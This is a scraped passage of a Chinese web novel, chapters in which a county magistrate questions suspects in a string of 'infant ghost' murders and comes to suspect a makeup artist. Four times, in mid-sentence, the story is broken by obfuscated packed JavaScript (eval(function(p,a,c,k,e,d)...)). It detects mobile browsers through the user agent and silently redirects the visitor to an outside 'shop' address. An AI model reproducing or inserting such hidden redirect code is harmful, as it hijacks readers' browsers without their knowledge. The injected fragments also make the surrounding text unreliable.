云水谣说道:“本官只是有此怀疑,并非说你一定便是凶手。只是,你在当天的午时整到午时二刻这段时间,到底去做什么了,需要老实交代,并且要有确凿的证据。否则,光凭你在这段时间离席这一点,就足够证明你是嫌疑人,本官会将你收监。” 鲁丹娘咬了咬嘴唇,道:“事已至此,小民就如实交代了吧。当时小民确实不是去茅房,而是去还东西了。” “还东西?” “正是。小民曾经偷过柳府一件东西。” 云水谣有些惊讶:“什么东西?” 虽然云水谣才跟鲁丹娘说了几句话,但感觉她怎么也不像是会偷东西的人。 只听鲁丹娘道:“大约七个月前,我的二女儿突发疾病,陷入昏迷,大夫说凶多吉少了。我很着急,到处找方法救她。我听说一个姓秦的老板那里有一颗能治百病的丹药,便去秦老板那里求药,愿意出高价。可是秦老板说,自己这颗药得来不易,还等着以后救命,不能卖给我。 “我多次恳求,甚至下跪,秦老板都不同意。无奈之下,我去打听秦老板的喜好,无意中得知,柳依依的父亲曾经帮过秦老板的大忙,秦老板给了柳家一块祥云玉璧,说是只要拿着祥云玉璧去找他,他一定会答应一件事,不管多难都会做到。 “于是,我就起了偷盗祥云玉璧的心思。我打听到那块祥云玉璧藏在柳家别院的后花园里,于是便买通了柳家别院的一个下人,让他偷出来给我,我承诺会尽快归还。那下人偷了祥云玉璧给我,我拿着玉璧去找秦老板,说这玉璧是柳家给我的。秦老板见了祥云玉璧,果然愿意兑现一个承诺。我请求他给我那颗救命的丹药,他同意了。我拿到丹药后,给我女儿吃,我女儿便好转了。 “正好过了几天,便是柳依依的婚宴,我也收到了请柬,且婚宴的地点正好在柳家别院。我想着,正好趁着婚宴,偷偷将祥云玉璧归还。于是,我带上玉璧去赴宴。等到开席的时候,是最热闹的,我想大家的注意力都在酒席上,无人会注意我,便偷偷离席,去了后花园,来到本来保存玉璧的房间,把玉璧放回原位。 “因为后花园有一些下人在休息,我为了不惊动他们,便脱了鞋,只穿着袜子走路。完成这件事后,我见袜子脏了,便脱了下来。正好后园中有一堆枯枝败叶被火点燃,应该是某个下人在烧这些枯枝败叶,令庭院整洁一些。当时四下无人,我便把脏袜子扔进了火堆中,燃烧殆尽,然后穿上鞋子,返回了婚宴现场。大人,这便是那天我的全部行程。” 云水谣点头:“所以,你当天离开宴席进入后花园,其实是为了偷偷归还那块玉璧?” “是的。” “放置玉璧的房间在哪里?” “在后花园的东北角,从右往左数第三间屋子。” 如果这是真的,那赵檀之死应该跟鲁丹娘无关。 赵檀是死在后花园的西北方,跟鲁丹娘走的不是同一条路。 云水谣问道:“你说的这些,可有人能为你作证?” 鲁丹娘想了想,道:“虽然我是偷偷去还东西,没被人看见,但是之前我收买的柳府下人可以作证,我确实让他偷了玉璧出来给我。秦老板也可以作证,我确实拿着玉璧去找他要丹药。” 云水谣便传唤了那个被收买的柳府下人,还有秦老板到堂,询问这件事。他们二人所说,跟鲁丹娘相同。 云水谣又派人叫来柳依依,问道:“柳依依,你家别院的后花园里,是否有个房间藏着一块祥云玉璧?” 柳依依惊讶道:“大人如何得知?” “本官是听人说的。那块祥云玉璧藏在何处?” “藏在后花园东北角,从右往左数第三间屋子。那块玉璧还是一位姓秦的老板给我们家的,说是可以凭借玉璧去向他要一个承诺,不论多难他都会做到。” 秦老板就在堂上,开口道:“柳姑娘,这块玉璧已经使用过了,承诺已经兑现。” 柳依依大惊:“何时使用过?我怎么不知道?” 鲁丹娘赶紧向柳依依道歉,承认了自己偷盗之事。 柳依依点头道:“原来你是为了救你女儿才偷那块玉璧,那也情有可原,我不会怪你。” 鲁丹娘道:“多谢柳姑娘体谅,我实在惭愧。只是,我虽偷盗你家的玉璧,却绝没有杀害你表弟啊。” 柳依依惊奇道:“这话怎么说,你怎么又跟我表弟之死扯上关系了?” 鲁丹娘便把之前的事简略说了,柳依依知道了原委。 柳依依道:“鲁老板,您当天的行程已经解释清楚了,我想应当是没有问题的。大人认为呢?” 云水谣道:“这个被收买的柳家仆人,还有秦老板,只能证明鲁丹娘确实曾偷走祥云玉璧。只是,婚礼当天鲁丹娘所做之事,却无目击者,所以她的嫌疑还是没有洗清。” 鲁丹娘在婚宴当天偷偷去还玉璧,这个过程却是无人看见的,所以她还是有嫌疑。 鲁丹娘有些绝望,道:“大人,民妇实在没办法了。” 云水谣道:“你仔细回忆一下当天的情况,看有没有什么异常,说不定能发现线索,替自己洗刷冤屈。” 鲁丹娘回忆片刻,道:“大人,我确实想起了一件事。” “何事?” “当时,我往后花园走的时候,好像看见另一个人也往后花园走去。只是,她走的方向与我相反,且是她走在前面,所以她没看见我,我却看见了她。” “你看见的人是谁?” “好像是一个妆娘,叫吴芷秀。” 云水谣皱眉:“吴芷秀?你确定?” “是的,我也曾请吴芷秀为我化过几次妆,应该不会认错。” 云水谣喃喃自语:“怎么又是吴芷秀……” 云水谣隐隐觉得有哪里不对。 吴芷秀为什么去后花园?难道她也是去上茅房的? 云水谣问柳依依:“柳依依,你婚宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13936242|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当天,有没有在宾客席设茅房?” “有,我想着宾客多,便在宾客席附近设了十几个茅房,以供客人使用。” “这么说,如果有人要上茅房,是不需要去后花园的?” “是的。虽然我家会时不时在别院宴请客人,可是很少有客人能进后花园,后花园有茅房一事,也甚少有人知道。一个不熟悉柳府别院的人,若想上茅房,第一反应应该是询问柳府的下人,而不是自己直接找到后花园去。” “当时,你是否曾明确告诉所有宾客,酒席旁边便有茅房?” “是的,我说了好几次,确保所有人都知道。” “所以,妆娘吴芷秀也知道?” “是的。” “来人,传妆娘吴芷秀到堂。” 吴芷秀只是去给柳依依化妆的,被柳依依留下吃席,她没有任何理由偷偷前往后花园。 到时候看她作何解释。 过了一会,妆娘吴芷秀到了。她平静地行礼:“民女吴芷秀,拜见县令大人。” 云水谣问道:“吴芷秀,你可曾在半年前参加柳依依的婚礼?” “是的,民女给柳依依化妆,画好之后她便留民女吃饭。” “柳依依的表弟赵檀死在了那次喜宴上,你知道吗?” 柳依依的面色没有丝毫波澜:“知道,听说是婴鬼复仇。” “当日的午时整到午时二刻这段时间,你是否去过后花园?” “去过。当时我在席间见到一只可爱的猫,想喂它一点吃的,谁知它怕生,跑了。我一向喜欢猫,便追随而去。猫去了后花园就跑得没影了,所以我在后花园停留了一会,便离开了。” 云水谣本以为她会否认,没想到她直接承认了,还说出了一个合情合理的理由,没有丝毫犹豫。 云水谣接着问道:“你去的是后花园的西北角?” “是的。” “当时赵檀就在那里,你可有看见凶手?” “没有,我只是远远看见他在河边玩,但我并未跟他打招呼,就离去了。” “这么说,你见到他时,他还活着?” “是的。” “你所说的,可有人能为你作证?” “民女是自己去追猫的,没有人证。” “你和死者赵檀在同一时间出现在同一地点,若是没人证明你是无辜的,那你也是嫌疑人之一。” “我明白,但确实没有人证。大人若是怀疑,可以先将我收监,我会静等大人的调查结果。” 见她这么处变不惊,云水谣倒有些惊奇。她也拿不准这吴芷秀到底是什么样的人,但按理来说,一个以化妆为生的妆娘,应该没有理由去杀人才是。 这吴芷秀看着就是个普通女子。 但她仍是有嫌疑的,云水谣道:“吴芷秀,本官只能暂时将你收监,但并不代表本官认定你是凶手,你无需紧张。若后来证明你是清白的,本官会立即释放你。” “大人放心,我并不紧张,因为我知道自己做过什么、没做过什么。” 42.鲁丹娘赔钱了事 元景佑乔装相试 吴芷秀很平静地跟随衙役去了监房,云水谣看着她的背影,若有所思。 柳依依忍不住求情道:“大人,吴芷秀只是个妆娘,且我跟她几次接触下来,觉得她聪慧善良、安分守己,应该不可能是凶手。” 鲁丹娘也求情道:“是啊大人,我也多次请她化妆,觉得她是好人。而且她没有任何杀人动机啊。” 就连秦老板也忍不住说道:“大人,这吴妆娘也曾多次给我家的女眷化妆,上至我的妻妾,下至我的女儿、侄女们,都很喜欢她。一个如此受欢迎的女子,一定是个善良的人。” 云水谣道:“本官知道你们的意思。只是,看一个人不能只看表面。而且吴芷秀虽然看起来没有杀人动机,但也许存在一些我们不知道的事。当然,她也有可能是无辜的,本官会收集更多证据,做出更准确的判断,不会伤害无辜。” 接着,云水谣看向鲁丹娘,道:“鲁丹娘,你偷窃柳家的玉璧,去向秦老板换取丹药一事,需要承担应有的责任。” 鲁丹娘有些羞愧,道:“是,任凭大人处置。” 柳依依道:“大人,鲁老板这么做,也是为了救她女儿。玉璧是我柳家所有,我就代表柳家原谅她了。” 云水谣道:“鲁丹娘虽知错,但不可不罚。且这不是一件小事,这块玉璧是一件重要的信物,柳家本可用它来求秦老板做一件极难之事,或者要极多的利益,秦老板都会答应。但如今,这个机会已被鲁丹娘使用了。无论如何,鲁丹娘应该赔偿你们柳家。鲁丹娘,本官就罚你赔偿柳家五千两银子,五年内还清,你可能做到?” 鲁丹娘道:“多谢大人轻判,我回家后会尽快筹钱,交给柳姑娘。” 云水谣点点头,便让她们各自离去了。 鲁丹娘和秦老板离开了,但柳依依留了下来,问云水谣:“大人,我可否去看看妆娘吴芷秀,给她送点吃的和用的东西?” 云水谣点头:“可以,她并不是犯人,你尽可去瞧她。看来,你跟她感情挺好的?” “其实我跟她不熟,只是她给我化过几次妆而已。我觉得她是个好人,不忍她受苦,所以才要去给她送东西。” “嗯,你去吧。你顺便跟她聊一下,若是她有回忆起什么可疑之处,可以证明杀人者另有其人,马上回禀本官。” “是。” 云水谣退了堂,来到二堂正厅。 景佑正好在这里,问道:“大人,您刚才审案可有收获?” “我没找到凶手。不过,我觉得那个妆娘吴芷秀有点奇怪。” “哪里奇怪?” “我说不上……她好像有点过于镇定了。一般人进了公堂,都是有些紧张的。得知自己可能是嫌疑人,都会急着辩解,可她并没有。而且,提起婴鬼杀人一事,她脸上也没有丝毫害怕或嗤之以鼻的表情,看不出她到底相不相信婴鬼杀人的传闻。她好像对一切事情都不感兴趣,或者说是一切事情都不能动她的心。” “也许是她比较文静内向之故。” “不,她不是普通的文静内向。真正内向的女孩,见了官会紧张,回忆起凶杀案,神色会惊慌,但她没有。” “可能是因为她知道自己不是凶手,所以笃定自己一定会被无罪释放,心情才没有波动。” “也有可能。” 但是,云水谣心里那种奇怪的感觉却挥之不去。 过了一会,柳依依探视完毕,来到二堂见云水谣。 此刻没有外人,云水谣就不端着官员的架子了,拉着柳依依的手坐下,问道:“依依,探视结果如何?” “我问了她是否有其他可疑之处或是可疑人等,但她说不知道。自己当时去后花园找猫,没有留心别的。” “好吧。” 柳依依告辞离开,云水谣又把这些事情从头到尾想了一遍。 这时,之前提供线索的小吏之妻又来了,询问道:“大人,鲁丹娘是不是凶手?” 云水谣道:“我刚才审问了,她应该不是,所以你提供的不是关键线索,只能得五两银子。” 小吏之妻有些失落,但随即说道:“大人,您若还有什么想知道的,可以问我,虽然我也不一定回答得上。” “好吧。你认识妆娘吴芷秀吗?” “认识,我还请她帮我化过妆呢,她化得着实不错。” “在柳依依的婚宴上,她也曾中途离席,你有看见吗?” “这我倒不曾注意。” “好吧,看来你也没法给我提供更多线索了。” 小吏之妻有些不甘心,正想离开,忽然灵光一闪,道:“大人,我想起一件事。” “什么事?” “当时赵檀死了,我们都去后花园看,那个妆娘吴芷秀就站在离我不远的地方。我无意间瞥见她,发现她一点都不害怕,脸上也没什么表情,只是静静地盯着赵檀的尸体。我当时还以为她被吓傻了,但是现在想来,她当时面色如常,完全没有普通人看到凶杀案的反应。” “是吗?你确定是真的?” “真的,我敢打包票。” 云水谣又给了她几两银子,她开心地走了。 以目前的线索来看,只能说这个吴芷秀的心理素质异于常人。至于要断定她有罪,却是证据不足。 云水谣叫来县丞林复,问道:“林公,你可知道妆娘吴芷秀的来龙去脉?” “属下不太认得她,不过可以叫人去打听一下。” 林复的效率很高,到了下午,就来回话,道:“吴芷秀本不是洛县人,是两年前搬过来的。她之前的人生经历无人知道,定居洛县后,以化妆为业,也能养活自己。平时除了去各个客户家里化妆,很少出门。” “她的主顾是不是都是富贵人家?” “那倒不是,她也给普通人化妆,只要出得起价钱就行。” “她平时忙碌吗?” “应该挺忙的,隔三差五就有人去请她化妆,她比一般的妆娘单子多些。” 云水谣点点头,让林复离开。 两年……怎么会这么巧,第一起婴鬼杀人案也是两年前发生的。 云水谣去监房见了吴芷秀。 吴芷秀俏生生的脸隐藏在阴影中,透着几分肃穆的味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13947058|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云水谣问道:“吴芷秀,你是两年前才搬过来的?” “是的。” “以前你是做什么的?” “大人为何关心这个?” “我只是想多了解一下你。” “回大人,我无父无母,从小被一个西域的商人收养,也在西域长大。我跟师父学了化妆术,后来师父病故,我就来到了洛县定居。” “西域?所以,你的化妆术也有西域的风格?” “是的,我把中土的风格跟西域的风格结合起来,化的妆很特别,所以别人都爱请我去化妆。” “西域离大夏甚远,你为何选择了洛县定居,而不是去别的地方?” “师父对我说,她当年是在洛县的郊外捡到我的。所以我就把洛县当成了故乡。” “原来如此。你对婴鬼杀人之事怎么看?” “鬼神之说,我一向不感兴趣。” “你不信婴鬼杀人?” “说不上信,也说不上不信。我只是觉得,既然有这样的传言,也许有一定的道理。不过,真相如何,我并不关心。” “你看到有人死去,也不会关心吗?” “说实话,不会。也许您会认为我很冷酷,但我从小被大夫收养,生老病死见得多了。而且,除了师父之外,世上也无人关心我,所以我也不关心世人。” 听吴芷秀这么说,她倒像是有些厌世,所以见到凶案现场毫无波澜,对于真相也并不关心,别人如何对她也无所谓。正因如此,她被传唤到公堂,一点也不紧张,似乎也能理解,因为她性格便是如此冷淡。 一切似乎也能说得通。 莫非案情真的跟吴芷秀无关? 她以前长居西域,按理说不会跟洛县的孩童有什么过节才是。 云水谣想到了什么,离开了监房。 她叫来景佑,耳语几句。景佑有些惊讶:“真的要这样做吗?” 云水谣道:“我只是想试试她。” “好吧。” 元景佑换上了一身夜行衣,戴上面罩,往监房而去。 看守的衙役已经被云水谣偷偷撤走,元景佑进了吴芷秀的监房,向她偷袭。 吴芷秀吓了一跳,跌落在地,脸色惨白。 元景佑又一掌挥到她面前,她似乎想逃,但身体已吓得不会动,眼神中第一次流露出害怕之意。 元景佑见目的已达成,快速从监房中离开,只有吴芷秀呆呆地坐在地上,不明白为何会有人偷袭她。 元景佑回到县衙的后堂,见到云水谣,道:“大人,我刚才试探了吴芷秀,她不会武功。” 云水谣沉思道:“她若是不会武功,怎么杀死人高马大的赵檀的?而且,这些婴鬼杀人案若都与她有关,她又是如何犯下这么多案子?实在匪夷所思。” “也许不是她。” 云水谣也希望不是她。跟吴芷秀短暂接触下来,云水谣觉得她是个柔弱、可怜的女孩,纵然有时候冷淡了些,也是她的人生经历导致的。 但若真不是她,又是谁?案情好不容易有了些眉目,难道又要陷入僵局? 43.喜鹊无心说线索 县令有意询妆娘 云水谣长长地叹了一口气。 天色已晚,两个丫环做好了饭菜,拿到衙门来给云水谣吃。 今天的晚饭是白菜火方豆腐煲、香煎五花肉、白灼大虾、凉拌黄瓜、清炒荠菜。 云水谣招呼元景佑和两个丫环一起吃,自己也吃得狼吞虎咽的。 两个丫环的手艺越来越好了,每天的吃饭时间成了云水谣最期待、最放松的时刻。 自从当了县令,她真可谓是宵衣旰食、疲于奔命。她决定,等婴鬼杀人案结束后,就给自己放个假。 看着云水谣饿极了的样子,两个丫环都有些心疼,用公筷给她夹菜。元景佑也盛了汤给她喝。 云水谣笑道:“你们都别照顾我了,快吃吧,不然一会我可全吃完了。” 其他人这才认真吃了起来。 吃完后,云水谣忽然一拍脑袋:“坏了,我忘了一件事。” 元景佑问道:“什么事?” “孙修明一家还被我关在牢里。他们没有明确杀人嫌疑的话,我不能拘押太久,必须释放他们。” 孙修明便是新丰钱庄的东家,他的两个儿子死了,本来以为是他家里人杀的,所以云水谣才把他们一家都关了进来。 如今看来,更有可能是外人下手,那么现在到了释放他们的时候。 云水谣亲自去关押他们的牢房查看,发现他们一个个蓬头垢面的,脸上还有一些血痕,可能是被关着的这些天因为人命案互相争吵,还打架过。 云水谣道:“目前来看,孙府两位少爷被外人杀死的可能性大一些,你们不必再监禁了,可以回家。” 孙修明问道:“大人,可曾查明小儿究竟为何人所害?” “现在还不能确定,但这件案子本官一定会追查到底。” 孙修明叹道:“那小人就等大人的消息了。这次回去,也该为两个孩子出殡了。” 孙修明的小妾白姨娘道:“依我看,应该就是婴鬼复仇。” 云水谣道:“这是不可能的,婴鬼复仇之事,以后不要再提,免得人心惶惶。” 白姨娘应道:“是。” 孙修明扶着怀孕的丫环凝香走了出去,白姨娘带着自己的女儿静静跟了上去。 白姨娘虽然想走在孙修明旁边,孙修明却总是快走几步,甩开白姨娘,看来是不太想搭理她了。 白姨娘以前应该是比较受宠的,但是她女儿静静暴露野心后,也暴露了白姨娘这个生母并不简单。 孙修明大概是认清了这对母女的真面目,对她们失望了。 不过,这属于孙家的家事了,云水谣更关心的是孙府两个孩子之死。 云水谣也要出府回家,因此跟在孙家众人的后面,相距不远。 走出县衙门口时,有几只喜鹊盘桓在门口,说着鹊语: “天好冷啊,我们去哪躲躲?” “前面那几个人家里咱们去过,他们家的院子有大树,我们可以去那儿暂住一阵。” 喜鹊说的“前面那几个人”,应该就是孙府众人,因为他们正好走在前面。 这时,喜鹊们又聊道: “那个穿青色衣服的女人好像有点傻,怎么现在又恢复正常了?” “哪里傻了,她一直挺聪明的啊。” “可是前几天我还见到她傻呆呆地坐在窗户前,脸上没什么表情,身体也不动,连眼珠也不转动,看起来很傻。” “什么时候啊?” “我不记得了,就是好几天前。哦对了,那天她们家好像还死了人。” 听了这些话,云水谣大惊。 白姨娘刚好穿着青色衣服,莫非喜鹊们议论的是她? 孙府死了人的那天,她曾经在窗前傻坐了很久,连眼珠也不动…… 这事怎么听着这么怪异呢? 最近,孙府除了死了两个儿子那天,其余时间应该并没有死人,那么喜鹊们所说的日子,应该就是那一天…… 眼看着白姨娘等人继续往前走,云水谣叫住她们:“等等,本官还有事询问白姨娘,其余人可以先回家。” 白姨娘有些紧张,道:“大人,两位少爷真不是我杀的……” “你放心,本官要问的不是这件事。” 白姨娘只得把女儿静静交给孙修明,让他们先回家,然后跟随云水谣来到县衙后堂。 云水谣为了让她不要紧张,便让她坐下。 白姨娘虽有些不敢,但她看云水谣的表情是认真的,也便坐下了。 云水谣问道:“孙府两位少爷死的那天中午,你是不是一直在房间里?” “是,我当时一直在化妆,因为我知道老爷晚上会来陪我吃饭。” “当时发生了什么,你全都跟本官讲一遍,哪怕是一些无聊的细节,也全都告诉我。” “是。妆娘吴芷秀是午时左右来的,她问我是否洁面了,我说已经把脸清洗干净。然后她就取出化妆工具,给我化妆。她问我想化得浓一点还是淡一点,我说淡一点。再然后……然后……” 白姨娘忽然说不下去了。 云水谣睁大了眼睛,心中有了一个不好的猜测。她问道:“然后呢?” 白姨娘神情有些困惑,道:“再往后的事情,我完全想不起来了。我只记得后来突然外面有人吵嚷,我便出去询问情况,得知两位少爷死了。那会是午时三刻之后了。” “也就是说,中间有一段时间你失忆了?” “好像是……着实奇怪,我的记性不可能那么差呀……” “那妆娘吴芷秀是如何给你化妆的,先化哪里,后化哪里,你还记得吗?” “我……完全不记得了……” “也就是说,从午时整,到午时三刻这段时间,你完全是失忆的?” “是的……莫非我是睡着了?可是我在化妆,怎么可能睡觉呢?若是睡着,妆娘一定会叫醒我……” 云水谣问出了一个关键问题:“那么,在你失忆的这段时间,妆娘吴芷秀是否在你的身边?” “我……我不确定,应该是在的吧,不然她怎么替我化妆呢?” “也就是说,你并没有很明确,午时整到午时三刻,妆娘吴芷秀是否在你房间里。” “我不确定……我连当时自己到底是睡着了还是怎么了,都搞不清……” 云水谣接着问:“你得知两位少爷死了,去看他们的时候,你的妆容如何?” “我当时顾不上看自己的妆容如何了,因家里出了大事,我一心只记挂着两位少爷的死……当时情形很混乱,我一方面受到了惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13952452|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓,另一方面也要表现自己的悲伤,所以看到两个少爷尸体的时候,我就开始哭了。我当时流了很多眼泪,不管有多少妆都哭花了,所以也不曾欣赏到吴妆娘给我化的新妆。” “我觉得,这一点你不用感到遗憾,也许她并没给你化太久的妆,你的妆容还不算好看。” “大人怎么确定?” “本官猜的。你对妆娘吴芷秀熟悉吗?” “还算熟悉,我叫她来化妆好几次,也会跟她闲聊。不过她话不多,基本上是我发起话题。话少也有话少的好处,她化起妆来非常专心,完成得也比其他妆娘好。” 白姨娘的一番话,让云水谣有了新的看法。 当时,云水谣怀疑凶手是孙家的某个人。白姨娘为了替自己洗刷冤屈,请来妆娘吴芷秀为自己作证,证明自己案发时一直在房间里化妆。 有了吴芷秀的证词,白姨娘的嫌疑自然就小了。 可是,当时云水谣忽略了一点,那就是:白姨娘没有嫌疑,那吴芷秀呢? 也许杀人的根本不是孙家的人,而是从外面来的吴芷秀。 暂且不去管她的杀人动机,假设她真是凶手,那么还原一下当时的场景,大概是这样的: 吴芷秀多次进出孙府,对孙家两个少爷的作息非常熟悉,也知道他们中午午睡时,丫环凝香会偷偷溜出去一段时间,而那段时间是下手的好时候。 于是,在白姨娘又一次找她化妆时,她设法让白姨娘没法动弹,并且失去记忆,然后她偷偷离开白姨娘的房间,去了两位少爷的房间。她又通过某种方式让两位少爷不能动弹,然后将他们溺毙,做出婴鬼复仇的假象。 而白姨娘没法动弹的那段时间,被屋外的喜鹊看到了,所以喜鹊才会认为她呆呆傻傻的。、 吴芷秀在那段时间只顾着杀人,肯定没有花太多时间来给白姨娘化妆,所以白姨娘当时的妆容肯定很普通。但因为府里出了命案,白姨娘只顾着去看死去的少爷,还要哭得伤心,自然把妆哭花了,根本不会知道从一开始,吴芷秀就没好好给她画。 若不是能听懂喜鹊的话,云水谣也没法盘问出这些信息。 那么,就会产生四个问题: 第一,吴芷秀的杀人动机是什么? 第二,吴芷秀到底用什么方式,使白姨娘和孙府的两位少爷都动弹不得?已知她不会武功。 第三,吴芷秀是如何得知孙府曾经有个女婴死于非命,并且知道那女婴的死法? 第四,如果孙府的案子是吴芷秀做的,其他婴鬼复仇案可能也是她做的。那么,她是如何得知那么多百姓家里女婴的死法?而且,在她杀死这么多人后,心情似乎完全不受影响,还能继续当妆娘,一点破绽也不露。此人心机之深,也很少见。 云水谣越想,越觉得这吴芷秀很奇怪,身上似乎有很多谜团。 这时,白姨娘问道:“大人,我可以走了吗?” 云水谣回过神来:“哦,你先回家吧。” 白姨娘走后,云水谣叫来柳依依,问道:“依依,你婚宴那天的事,都还记得吗?” 柳依依道:“都记得。虽然过去半年了,但那天是我表弟死亡的日子,所以我印象深刻。” “每一个细节都记得?有没有记忆模糊的时候?” 44.妆娘归家案又发 县令调查人无影 “我想想……好像在早晨化妆时,有一段时间记忆模糊,其他时候没有。” “当时,妆娘吴芷秀在你身边?” “是的,可能是化妆太无聊了,我走神了。总之,化妆那段时间,我没什么记忆。” 无独有偶,柳依依和白姨娘有相似的经历,那说明这件事绝不简单。 云水谣让柳依依先回去,然后找来元景佑,把自己刚才知道的事,还有自己的疑问,都跟景佑说了。 景佑道:“要想知道答案,不如释放吴芷秀,然后偷偷跟踪她,看她在做什么。” 云水谣点头:“景佑,你选几个武功好的护卫,跟你一起轮番盯着吴芷秀,若有异常情况随时回来报告。” “是。” 云水谣走进吴芷秀的监房,假意说道:“吴芷秀,本官已查明此事跟你无关,你可以走了。” 听闻此言,吴芷秀的眼珠动了动,似乎在思索。她问道:“大人何以断定凶案与我无关?” “你只是个弱女子,想来是没办法绑住死者,然后杀人的。再者,有许多人为你作保,说你曾经为她们化妆,她们相信你的为人,请求释放你。因此,本官便同意将你释放。” “原来如此,多谢大人。” 吴芷秀没再说什么,平静地离开。从她波澜不惊的脸色中,也看不出她的心理状态。 不过也不急在一时,如果吴芷秀真的是连环杀手,那么她一定会再次犯案。云水谣已派人盯着她,到时候说不定能抓个现行。 几天后,元景佑急匆匆地回来,对云水谣道:“大人,发生了一件怪事。” “什么怪事?” “昨晚又发生了两起婴鬼杀人案,但是这些天吴芷秀一直在家没出门。” “什么?你确定她没出门?” “是的,她从监狱里出来后,就直接回了家。回家路上买了很多菜,够吃好几天的。然后她就闭门不出,这些天也无人来请她化妆,所以她要么在家休息,要么在家绣花,没做别的。” 云水谣陷入沉思:“也就是说,她没有出门,但是又发生了两起婴鬼杀人案……难道凶手真的不是她?” “还有一种可能,就是吴芷秀有同伙。吴芷秀不再杀人,但是她的同伙帮着杀人,这样就能洗脱吴芷秀的嫌疑。” “也有可能……对了,刚发生的那两起婴鬼杀人案在哪里?死者是谁?” “发生在东平镇,一共有两户人家的儿子被杀。具体情况我也不太清楚,我是听见街坊们在议论这件事,才知道的,便赶紧回来报告大人了。” 云水谣想了想,道:“去东平镇,看看那两个死者。” 云水谣带上景佑、几个小吏和衙役,骑马往东平镇而去。 大约半个时辰后,云水谣等人到了,东平镇的里正、乡绅已经在这里迎接。 云水谣问道:“听说昨夜东平镇发生了两起命案,究竟怎么回事?” 里正道:“启禀大人,死者是本镇两个乡绅的儿子,一个叫冯万里,一个叫王俊生。他们的父亲一个叫冯运,一个叫王鸣。因太过伤心,他们在家休养,并未前来迎接大人。” 在乡镇地方,一般是由里正、乡绅治理。所以县令来视察乡镇的时候,里正、乡绅们都要前来作陪。冯运、王鸣是本地乡绅之一,按理是要来拜见县令的。 云水谣道:“无妨,带我去冯运、王鸣家看看。” “是。” 里正一边带路,一边跟云水谣说着案情。 死者冯万里、王俊生,今年都是二十岁。昨天晚上,他们同时被掐死于家中,没有发出声响。 两家的父母发现儿子死了,想要报官,但联想到最近很流行的婴鬼复仇传闻,认为是婴鬼复仇,所以不敢报官,只是将儿子的尸身装殓起来,准备下葬。 邻居听见动静,前来询问,两家父母都说是婴鬼复仇,后悔自己不该杀死女婴。 原来,冯运、王鸣两个乡绅,命运都很相似。他们俩年轻时一直生女儿,冯运连生了七个女儿,王鸣连生了六个女儿。只是,这些女孩要么被送人了,要么被掐死了。 他们对外都说女儿一生下来就夭折了,其实别人都知道是怎么回事,只是心照不宣而已。毕竟很多人都是这么干的。 后来,冯、王两家终于在同一年生了儿子,生日也很相近,一个取名叫冯万里,一个取名叫王俊生。两家的生子宴也是一起办的。 因这两家都颇有家资,且都是连生了多个女儿之后才终于有了个儿子,这生子宴办得十分浩大,请了许多乡亲,流水席摆了三天三夜,至今仍有百姓记得那场宴会的盛况。 冯万里、王俊生两个孩子,从小也十分投契,经常一起玩。 谁知,这两个小伙子长到二十岁,正是最好的年纪,却突然遭到婴鬼复仇而死。 其父母都痛不欲生,纷纷懊悔不该把之前生的女婴掐死。 街坊们也纷纷感叹,女婴是杀不得的。冤有头债有主,造了孽总有要还的一天。 云水谣听了这些始末,一边十分唏嘘,一边又有些困惑,询问里正:“你说死去的这两个小伙子,都已经二十岁了?” “正是。” 这就有些奇怪了。之前那些婴鬼杀人案,死者都是一些未成年男孩,为何这次却是两个成年男人? 云水谣想不出原因,正好她们已经走到冯家,看见冯家的院子里聚集了很多人,他们自称是冯家的亲朋好友,得知噩耗前来吊丧的。只是家主冯运说自己心情不好,没法跟人说话,想要自己静静,因此亲戚朋友们都集中在院中,没有进去打扰冯运夫妇。 里正道:“县令大人来此,还请叫冯运出来吧。他纵然悲伤,但也不能不接县令大人的驾。” 有两个宾客便去敲冯运的房门,可是房内一直没有声音。他们便只好打开房门,却发现里面空无一人。 宾客回头道:“县令大人,房中没人,不知冯运夫妇去哪里了。” 云水谣感到奇怪,道:“将冯家里里外外都搜一遍。” 衙役们领命搜查,宾客们也自发帮着寻找。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13964047|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 